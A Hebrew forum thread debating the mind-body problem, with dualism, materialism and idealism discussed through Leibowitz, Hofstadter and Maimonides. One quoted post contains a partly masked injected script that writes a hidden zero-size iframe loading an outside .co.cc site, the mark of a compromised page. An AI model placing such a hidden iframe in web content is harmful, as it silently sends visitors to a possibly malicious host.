בית פורומים עצור כאן חושבים

דואליזם

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-25/2/2013 13:04 לינק ישיר 
דואליזם

שלום לחברי הפורום

כידוע ישנן שלוש השקפות עיקריות בפילוסופיה לגבי שאלה גוף-נפש: מטריאליסטית, דואליסטית, אידיאליסטית.

נדמה לי שרוב הזרמים ביהדות סוברים שההשקפה הדואליסטית מתארת נכונה את המציאות.

השאלה שלי היא: איך המנגנון הדואליסטי פועל?

כלומר, המטריאליסט יגיד שמבנה פיזי מסויים מגלה תכונות מנטליות מסויימות, התכונה המנטלית היא תיאור מרמה גבוהה של מורכבות פיזית ולכן סיטואציה מנטלית כשהיא באה במגע עם המוח שלי אז בעצם יש מפגש בין שתי סיטואציות פיזיות מורכבות, אני תופס אותן ברמה הגבוה אך האינטראקציה נעשית בעצם ברמה יותר נמוכה.

הדואליסט דוגל בכך שישנן תכונות מנטליות באדם שאינן קשורות לחומר (נשמה) והן בתורן משפיעות בדרך כלשהי על מבנה המוח, אבל השאלה היא איך?  
 


תוקן על ידי kaner91 ב- 25/02/2013 13:05:03




תוקן על ידי kaner91 ב- 25/02/2013 13:05:53




דווח על תוכן פוגעני

מחובר
נשלח ב-30/4/2013 12:26 לינק ישיר 

חומר למחשבה



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/4/2013 19:39 לינק ישיר 

אחי ,בחיים אל תיגע בחומר ,
הזבל הזה כמעט הוציא לי את הנשמה



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/4/2013 18:17 לינק ישיר 




יפה דרשת !



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/4/2013 18:13 לינק ישיר 

ספרן, זה אידיאליזם על קצה המזלג.



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/4/2013 17:31 לינק ישיר 



דואליזם על קצה המזלג:

יש לך חומר, אחי ?

לא, נשמה.

("היידגר והיפופוטם מגיעים לשערי גן עדן" עמ' 108)



דדווח על תוכן פוגעני

מנותק
נשלח ב-11/3/2013 21:09 לינק ישיר 

kaner91 כתב:

 אתה אומר שהכל הוא גשמי מלבד החוקיות השוררת בטבע

כן.

***למה לא להגיד שזהו תכונה של החומר***
תכונה היא נגיד בעלות באיכות מסוימת. תכונות הן גם כפופות לסדר העולם.

אפשר לדון על הגדרות, אבל "יש מצוי זולת כל הגופים שבעולם, אשר הוא אינו גוף ואינו כוח בגוף והוא אחד תמידי ונצחי, אשר אין לו עילה ולא ייתכן שהוא ישתנה. הוא אפוא א-לוה." (מ"נ א', עא)
לדעתי, תיאור הרמב"ם כאן מתאר את מה שקוראים לו סדר העולם, והייתי קורא לו חוק העולם.
כל גשמי כפוף לסדר העולם וזהו העיקר. כול גשמי לא משפיע על סדר העולם הקבוע. כלומר, כל גשמי הוא אינו סיבה לסדר (החוק קיים גם בלעדי כל גשמי בנפרד), אלא החוק הוא סיבה לתופעות העולם.
אגב, הרב קוק קורא לא-ל, "חוק בורא כל".

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-11/3/2013 11:18 לינק ישיר 


אני לא מבין מה מקומם בקביעתי, לפי מה שלמדתי מהיהדות עד היום התרשמתי שהדואליזם היא השיטה השלטת אצל רוב ההוגים, מקצתם מחזיקים באידיאליזים וכמעט אף אחד אינו מחזיק במטריאליזם.

ולעניין מה שכתבת, אם הבנתי נכון (וזה בכלל לא בטוח) אתה אומר שהכל הוא גשמי מלבד החוקיות השוררת בטבע, אם כך הדבר אז למה לא להגיד שזהו תכונה של החומר והמילה "חוק" הוא הפשטה אנושית? בדיוק כמו שהנפש היא הפשטה אנושית לחומר מרמה גבוהה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-11/3/2013 02:08 לינק ישיר 

kaner91 כתב:
נדמה לי שרוב הזרמים ביהדות סוברים שההשקפה הדואליסטית מתארת נכונה את המציאות.

אפילו מקומם.. הדואליזם מדבר על סיבות אוטונומיות. ברור כי היהדות מחזיקה בסיבה ראשונה. וסיבה ראשונה אינה מושפעת בשום דבר.
אפשר לשאול מה זה נפש. אבל כל תשובה ביהדות אמורה לא להתנגד לסיבתיות חד כיוונית הזאת.

מחשבה היא גשמית, ניסיתי לבאר את זה כאן, "רוחני משמעו גשמי" 

איך גשמי פועל על פי בלתי גשמי? העולם כמנהגו נוהג, איך? העולם הגשמי משתנה על פי חוק בלתי גשמי בלתי משתנה. האם אפשר לדבר על מנגנון הכופה על כל גשמי לפעול על פי חוק אחד? בכל מקרה כיוון התשובה הוא בחוקיות העולם.
הא-ל הוא צורת העולם. הנפש, אם לדבר על נפש בלתי גשמי, הוא ביטוי לצורת האדם כחוקיותו.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
נשלח ב-6/3/2013 09:21 לינק ישיר 

מיימוני, תודה רבה על תשובתך המפורטת.

אני מכיר את הבעיה הפסיכופיזית, אכן יש בעיה אבל אני חושב שהיא בעיקר מתחום המוסר (אי אפשרות לגזור ערכים מעובדות)

מצד שני מאז לייבוביץ הרבה מים עברו בירקון ומדע הקוגניציה ופילוסופיית הmind התפתחו הרבה (בפרט פונקציונליזם), אם הזכרנו את הופשטטר אז ספרו השני ("אני לולה מוזרה) מוקדש במלואו לנושא זה.

נכון שלהסביר "אהבה" במושגי אורכי גל זה טיפשי, אבל דווקא המשל של קן הנמלים של הופשטטר בא להסביר המון, אתה לקחת ממנו כמובן את הצדדי (המודעות שיש לקן) לא בזה עסקינן, קן הוא אוסף הנמלים מרמה גבוהה ויש לו תכונות נוספות ודרכי תיאור נוספות שאפשר לתאר אותו בהן, המודעות שלנו תופסת את הדברים ברמה מסויימת, לא ברמת התנגשות הגל ברישתית או בעיבודו באזורי המוח אלא לאחר שהוא עובד אתה תופס את ה"קן" של ה"אהבה", פה כבר נכנסות דרכי תיאור נוספות בדמות פואטיקה.

יש עוד עבודה רבה לעשות בתחום (הוא רק בחיתוליו) לא הייתי ממהר לחרוץ גורלות ולהגיד שאף פעם לא נוכל להסביר באופן שלם את התודעה, גם קאנט חשב שמדע הלוגיקה הושלם ואין מה לפתח בו יותר, עד שבא פרגה וטרף את הקלפים.

ואעיר עוד משהו קטן, אני בעצמי עוד לא בטוח אם אני דואליסט או מטריאליסט, בשביל זה אני חוקר, אבל מה שכן, לאורך כל ההיסטוריה של המדעים התגלו חורים, כשלים, אי התאמה וכו' בתאוריות, הדרך הפשוטה הייתה להגיד:" שמע.. זה אלוהים זה לא מתפקידנו להבין, אולי גם אי אפשר להבין" אלוהי פערים כזה הוא איש קש שלא במתכוון ואתאיסטים נהנים לחבוט בו בכל הזדמנות ובצדק.


נ.ב. לגבי מה שאמרת על כוח ההסבר "אלוהים" ועל כך שזה לא בטוח חיסרון להשתמש בכזו טאוטולוגיה ראה "החברה הפתוחה ואויבה"



דדווח על תוכן פוגעני

מחובר
נשלח ב-4/3/2013 21:12 לינק ישיר 

מיימוני,
תודה על הסקירה המקיפה.

בהמשך לה, אולי כדאי לציין שתי בעיות בהשקפה שהכל הוא חומר - המטריאליזם. וזאת כאיזון לדגש המוקדם באשכול זה על קושי בהשקפה שקיימים גם חומר וגם רוח - הדואליזם. אפשר אכן למצוא פירוט בנושא זה בשני הספרים שהזכרת, וכן בספרו האחרון של הרב מיכאל.

הבעיה הבולטת ביותר, נדמה לי, של המטריאליזם היא בעיית החוויה. אנחנו למשל רואים צבע ירוק, טועמים טעם מר, וכן הלאה. איננו רואים אורכי גל, איננו טועמים תבניות כימיות, וכן הלאה. אין כנראה כיום הסבר מטריאלי, או אף מושגים מטריאליים, עבור תופעת החוויה. גם קשה לראות איך יכולים להיות אי פעם.

בעיה נוספת אם כי חמקמקה יותר היא מה שמכונה בעיית האינטנציונליות. דרך אחת להציג אותה היא כך: ברור לגבי המחשבים שקיימים כיום שהם לא חושבים. אנחנו חושבים (לפעמים) והמחשבים רק מחשבים (החי״ת בפת״ח). אך קשה לראות מה יגרום למחשבים לחשוב גם בעתיד. הם יהיו יותר ויותר מורכבים. הם יוכלו אף לחקות בני אדם. אך מה יוכל להפוך אותם ליצורים חושבים ומודעים, ולא רק מכונות משוכללות?

גם לדואליזם יש בעיות. הבעיה המרכזית אולי היא חוסר ההשתלבות שלו בתיאוריות המדעיות. אני לא חושב שהדואליזם לא יכול הגיונית להשתלב, אלא שבפועל הדבקות במטריאליזם הפכה לעיקרון של המחקר המדעי, וטרם צצה סיבה מספיק חזקה לוותר על העיקרון הזה.

בעיית גוף-נפש נחשבת לאחת הבעיות הגדולות של הפילוסופיה: בעיה שטרם הוכרעה. ושאולי לא תוכרע אף פעם.



דדווח על תוכן פוגעני

מנותק
נשלח ב-3/3/2013 21:27 לינק ישיר 

רציוס'

תודה על התגובה.

עמך הסליחה. לא שמתי לב לקריקטורה. איני רגיל לשים לב לתמונות אלא למילים.

באשר לדברים שכתבת.

אשר לכך ש"נס" אינו הסבר ברמה המדעית, בוודאי שאני מסכים עמך. אמנם המבקש לבקר את העמדה הזו , כמוך וכמוני, צריך להסביר את הנחות היסוד שלו. כמדומה שמה שעשית אתה הוא להראות שכוח ההסבר של עמדה זו חזק מדי,  כי היא יכולה להסביר הכל. זה נכון, אבל האם זה חסרון?

שנית, באתי בדברי קודם כל לסכם את כל הפתרונות המוכרים לי. אם לדעתך שכחתי פתרון כלשהו, אתה מוזמן להוסיפו.

אם אתה סבור שהעמדה שלי היא מוטה, אתה מוזמן להצביע על המקום שבו טעיתי והטעיתי. אני מודיע מראש שאהיה אסיר תודה על כך. אני משתדל לא להיות מוטה, ואם כן, אזי להיות מודע לעצמי מדוע בחרתי בצד זה או אחר ועל סמך מה.

להזכירך, על זה מבוסס הפורום שלנו. להכיר את עמדותינו, את הנחות היסוד שלהן, ולבדוק אותן מול אפשרויות אחרות.

לעומת זאת, הצהרות כלליות שיש טעות במקום כלשהו בלי להצביע עליה, זה אינו מספיק לדעתי.

נכון שזו טרחה רבה לפרט היכן הטעות, אבל זה החסד שאנו עושים זה עם זה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-3/3/2013 21:18 לינק ישיר 

מיימוני כתב:

פתרון מסוג אחר הוא לטעון שיש קשר שאינו ניתן לזיהוי על ידי המדע בין שני הצדדים. זה פתרון שהיה מקובל על הוגי דעות וחוקרים דתיים. אחד היישומים שלו הוא להטיל על האלוקים לבצע את המעברים האלו עבורנו, בני האדם (למשל במסגרת התפיסה האטומיסטית, לא זו של דמוקריטוס אלא של הפילוסופיה המוסלמית ועד לחסידות בת זמננו: העולם נברא כל רגע מחדש וה' אחראי להתאמות).

******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



זה בדיוק סוג ה'תשובות' שהקריקטורה שהדבקתי נועדה להגחיך.


הטיעון הלוגי שמאחורי ההגחכה - 
1. הטענה שנקודה מסוימת בהסבר היא 'נס', כלומר במילים אחרות אין מודל שמסביר את האירוע הבלתי אפשרי לוגית שהמנטלי משפיע על הפיזיקלי (כאשר המנטלי לפי הגדרה אינו מייצר סיבתיות פיזיקלית - אחרת הוא היה פיזיקלי, סוג שונה של) מייתרת את כל ההסבר מלכתחילה.
2. אם בניסים עסקינן, אין בעיה להניח שהכל מטריאלי, וזהו 'נס' שהמנטלי הוא בעצם מטריאלי.


הסיכום ה'ממצה' של מיימוני כמובן אינו ממצה במאום, כמו תמיד מציג רק צד אחד באופן מוטה.








דדווח על תוכן פוגעני

מנותק
נשלח ב-3/3/2013 08:29 לינק ישיר 

כנר

ברוך הבא אל הפורום!

שאלת שאלה עצומה. אקדים שכנראה אין לה פתרון הידוע לנו. וזה מחייב לבדוק את הנחות היסוד שלנו. (האם יש שאלות שאין להן פתרון? מדוע אין להן פתרון? האם צריך לשנות הנחות או הגדרות מושגים, וכיצד?).

אחזור על השאלה ואצביע על כמה כיוונים, אך בעיקר אפנה לשני ספרים טובים מאד למרות שנכתבו לפני זמן רב:

א. יסודות הבעיה הפסיכופיזית של ישעיהו לייבוביץ.

איני מכיר סיכום טוב יותר.

לייבוביץ מציג את בעית שני העולמות. כלומר, אנו מתגוררים בעולם שמתנהל לפי חוקי הפיזיקה. אלו חוקים קשיחים שאינם מותירים מקום לחירות, לבחירה, לתכלית אנושית. ניתן אמנם לזהות הקבלה בין אירועים מנטליים (מחשבה, רגש, ועוד) לבין אירועים פיזיקליים במוח, אבל שום אירוע פיזיקלי אינו מסביר את התחושות שלנו ולכל היותר הוא רק מקשר בין אלו לאלו. (על תשובות שונות לבעיה לקמן).

ב. גוף ונפש. קיית קמפבל. הספר מסכם את הפתרונות שנאמרו במשך דורות של מחקר פילוסופי ולא רק פילוסופי לבעיה.

לצערי אין לי זמן לחזור אפילו על עיקרי הדברים. אין אני מורגל להפנות לספרים במקום לסכם, אבל אלו ספרים באמת טובים וגם קצרים למדי.

***
אחזור שוב על הבעיות העיקריות. הצגתי את הבעיה המרכזית באופן הבא: האדם הוא אזרח בשני עולמות. העולם המנטלי שמתנהל לפי כללים משלו: אנו חשים, חושבים, מתכננים, בוחרים. יש לכל אחד מאיתנו "אני". המושג של "אני" מלווה אותנו כל העת (קאנט).

ומצד שני, יש לנו גוף. הגוף מתנה את כל מה שעובר עלינו, כמעט. יש מחקרי מוח שמראים כי תופעות פיזיולוגיות ונוירולוגיות משפיעות על אירועים מנטליים והאדם אפילו אינו מודע לכך שהאירוע הפיזי גרם לו לשינויים מנטליים.

זו השאלה העקרונית. אבל היא מתפצלת לשאלות משנה. כל אחת מהן זקוקה לתשובה.

אנסה למנות כמה מהן.

1. כיצד תופעה פיזיקלית, בכל רמת הסיבוך האפשרי שלה: תנועת אלקטרונים, חיבורי נוירונים - יכולה לשאת עליה את המטען הנפשי שאנו מכירים?

2. אנו יודעים מה המנגנון של הראיה. ברובו. אבל איך נוצרת ומורגשת התמונה שאנו רואים? אפשר להצביע על שלבים. האור המוחזר מן החפץ. היקלטות האור ברשתיות. מעבר של מה שעובר שם (איני יודע או זוכר מה וממילא עבורי אלו רק שמות טכניים) למוח. חיבור של נתונים משתי עינים לדבר אחד. הפרדה בין חלק מהתמונה הנספגת בין אובייקט לרקע. זיהוי החפץ. ובסופו של דבר: פרח, שושן צחור נניח.

3. אני מתלבט בשאלה כלשהי. זו יכולה להיות שאלה גדולה, מוסרית וערכית, כמו האם, נניח, לוותר על לימוד תורה למען גיוס לצבא. וזו יכולה להיות שאלה כמעט חסרת חשיבות, כמו האם לשתות כוס תה ברגע זה או בעוד עשר דקות, לאחר שאסיים לכתוב את השורות האלו. אבל יש לי התלבטות. עדיין לא הכרעתי. אני מודע לכך שאני יכול לבחור כך או כך.

אבל אם צדק לפלס, יש רק שרשרת סיבתית אינסופית או ארוכה מאד של גורמים המצטרפים יחד. מה שקורה במוחי הוא תולדה מורכבת מאד של כך וכך גורמים פיזיקליים. לבחירתי שלי לא יכול להיות מקום במסגרת הזו.


(ויקי: דטרמיניזם, ראו על לפלס ובכלל הערך נראה טוב).

ויש עוד שאלות מסוג זה, ולדעתי חשוב להבחין ביניהן, למרות המשותף.

***
פתרונות אפשריים

מדוע השאלה הזו כל כך חשובה? לדעתי היא חשובה בעיקר בגלל מה שמשתמע ממנה. כמו הדרויניזם (כוונתי לגרסה הפשטנית שהאדם בא מהקוף), לסוג אחד של תשובות לשאלת הדואליזם (בעיקר שאין כזה) יש משמעות מעבר לדיון המדעי והפילוסופי. תשובות ששוללות את הפן המנטלי בעצם הופכות אותנו למכונות. בכך מחוסלים לכאורה נושאים בעלי חשיבות עצומה כמו האפשרות של קיום לאחר המוות או תחית המתים, בחירה ומוסר ומשמעות, ועוד.

אז מה הם דגמי התשובות המרכזיים?

א. הדגם הדואליסטי.

הדגם זה מכיר בכך שיש שני עולמות שבהם אנו חיים. אין הוא שולל את הצד המנטלי ולא את הצד הפיזיקלי. הדגם הזה יכול להתחלק לחלוקת משנה. יש שמנסים לפתור את שאלת הקשר באמצעות נסיון לזהות מקום ואופן שבו המנטלי יכול להשפיע על הפיזיקלי ולהפך (דקרט למשל, כפי שהוזכר לעיל). נסיון כזה נכשל גם במעבדה, עד כמה שידוע לי, וגם יש בו קושי עקרוני.

יש כאלו שטענו שאי אפשר להתכחש לקיומו של צד כזה ויש לו ערך מדעי. כך למשל טען חומסקי, הבלשן החשוב, שלדבריו קיום של חוקים וקטגוריות בלשניות בתודעה הוא הנחת יסוד הכרחית לכל מדע הבלשנות.

פתרון מסוג אחר הוא לטעון שיש קשר שאינו ניתן לזיהוי על ידי המדע בין שני הצדדים. זה פתרון שהיה מקובל על הוגי דעות וחוקרים דתיים. אחד היישומים שלו הוא להטיל על האלוקים לבצע את המעברים האלו עבורנו, בני האדם (למשל במסגרת התפיסה האטומיסטית, לא זו של דמוקריטוס אלא של הפילוסופיה המוסלמית ועד לחסידות בת זמננו: העולם נברא כל רגע מחדש וה' אחראי להתאמות).

ב. הדגם האידיאליסטי

לפי הדגם הזה אין בכלל צד פיזיקלי. הכל רוח. הכל מנטלי.

אולי זה מפתיע, אבל בתפיסות כאלו אחזו הוגי דעות במקומות שונים. זה מה שמשתמע מן הבודהיזם וזה מה שדגל בו הפילוסוף הבריטי ברקלי. יתכן שיש חוקרים בני זמננו, בפיזיקה, שיעדיפו את הפתרון הזה. יש כאלו שסבורים שהוא יכול להסביר את התופעות הפיזיקליות שבהן מעורב הצופה ונוכחותו, השתתפותו ומודעותו משפיעות על התוצאות. נדמה לי שהחתול של שרודינגר ואלומות האלקטרונים שמשנות את מיקומן בהתאם למעקב של עורך הניסוי שייכות לתחום הזה, אבל יתכן גם שאני כותב שטויות. אני מאד מאד פיזיקאי של כורסה או פחות מזה.

בכל אופן, כך מנסים לפתור את הבעיה על ידי העלמת צד אחד. נראה לי שנוסף לכל יש כאן חסרון מדעי ופילוסופי. העלמה אינה פתרון. אבל אני רק כותב לפי מה שקראתי וחשבתי בתחום לפני שנים רבות, ולא עסקתי בו לאחרונה.

ג. הפתרון המטריאליסטי

דגמים אלו מכחישים את הצד המנטלי.

כך כמדומה טוען בנט בספר שתורגם לעברית לפי מספר שנים. (אני באמצע הקריאה ויש לי ביקורת עליו, אז איני יכול להביע דעה).

כך בוודאי טוען הופשטטר, בספרו שתורגם לעברית "גדל אשר בך". הספר יפהפה, אבל הטיעון המרכזי שלו פגום. ואנסה לבאר מדוע.

הופשטטר מאמין שניתן לבאר את התודעה במובן הרחב שלה (תחושות, רגשות, מחשבות ועוד) על ידי מורכבות של תופעות בודדות. כמשל לדבר אפשר להזכיר את יחסו של דוב הנמלים למושבת נמלים. דוב הנמלים טוען שלמרות שיש נמלים בודדות, שאף אחת מהן לא תשמח להאכל על ידו, יש גם "ישות" שמזוהה אצלו כמושבת נמלים, והיא דווקא שמחה מאד להזמין אותו לסעודה.

דוב הנמלים יכול לזהות לדבריו משפטים שמשמיעה הישות של מושבת הנמלים דרך הפעולות הבודדות שמבצעות נמלים.

זה משעשע ומעניין אבל לדעתי יש כאן כשל. לא רק בגלל שאין כזו ישות עד כמה שידוע לי, ולא רק בגלל שהמחשבות הפרטיות של כל אחד מאיתנו אינה יש בפני עצמו, בעל מודעות, אלא בגלל שהופשטטר מאמין, עד כמה שאני מבין בכל ליבו, שכל מה שאנו מכירים כחויה מנטלית הוא אך ורק אירוע פיזיקלי שאנו טועים לייחס לו תוכן מעבר לעצמו.

הכשל הזה חוזר בכל הספר.

בעיבוד של דקרט אני משיב על דבריו: נניח שזו טעות לחשוב שיש מחשבה שהיא יותר מאשר אירוע פיזיקלי. היכן ואיך מתאפשרת הטעות הזו? מי טועה? היכן התוכן הזה בתוך מפגשי האלקטרונים במוח שלי?

האם זו רק טעות לשונית? ונניח שכן, איך טעות כזו יכולה להינשא על גבי אירוע פיזיקלי?

***

היה מקום להזכיר גם את הביקורת של מיסטיקאים כמו גורדייף על מושג ה"אני", שזו אשליה של האדם שיש לו "אני" אחד ויחיד. אבל גם לפי גישתו של גורדייף עדיין יש אירועים מנטליים והשאלה של בעל האשכול היתה על היתכנותם של אירועים כאלו ועל הקשר ביניהם לבין הגוף.

***

שורה אחרונה

זה נושא מורכב ומעניין ביותר. הרושם שלי הוא שבמקביל ללימוד הדרוש של מחקרים מתחומים שונים: פיזיקה, רפואה ומחקר מוח, היסטוריה של הפילוסופיה וכן ביקורת פילוסופית שתאפשר לזהות טעויות לוגיות אצל הוגים וחוקרי - במקביל לכך צריך זהירות רבה והבדלה בין התשובה שהיינו רוצים שתהיה אמיתית, מכל הסיבות שבעולם (כדי להצדיק את הדת או כדי להשתחרר מהדת...), לבין מה שיש בידנו.

כמדומה שהמסקנה הבלתי נמנעת היא כלייבוביץ. הנתונים אומרים דבר אחד, או שנים: אנו אזרחים בשני עולמות. איך זה יתכן, האם זה מוכיח שיש נפש ושהדת (ואיזו דת?) צודקת, ומה המוסר והערכים שנובעים מכך, כל אלו שאלות שיש לשאול. אבל כל זה אחרי שמכירים בנתון הבסיסי הזה שאינו ניתן להכחשה, למרות שיש שינסו לרדד את הנתונים ולהתפטר באמתלאות שונות, לפעמים מתוחכמות מאד, מן הצד המנטלי של חיינו כאזרחים בעולם הרוחני.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-27/2/2013 20:23 לינק ישיר 





דדווח על תוכן פוגעני

מנותק
נשלח ב-27/2/2013 10:39 לינק ישיר 

בגלל זה שאלתי איך המחזיקים בדעה זו מסבירים את המנגנון, שהרי לפחות לפי הרמ"א "ומפליא לעשות" שקושר דבר רוחני וגשמי.

מבחינת תפיסה מטריאליסטית, לפי דעתי, הספר הכמעט מושלם להסבר גוף-נפש זה "גדל אשר באך" של הופשטטר.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > דואליזם
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.

bholext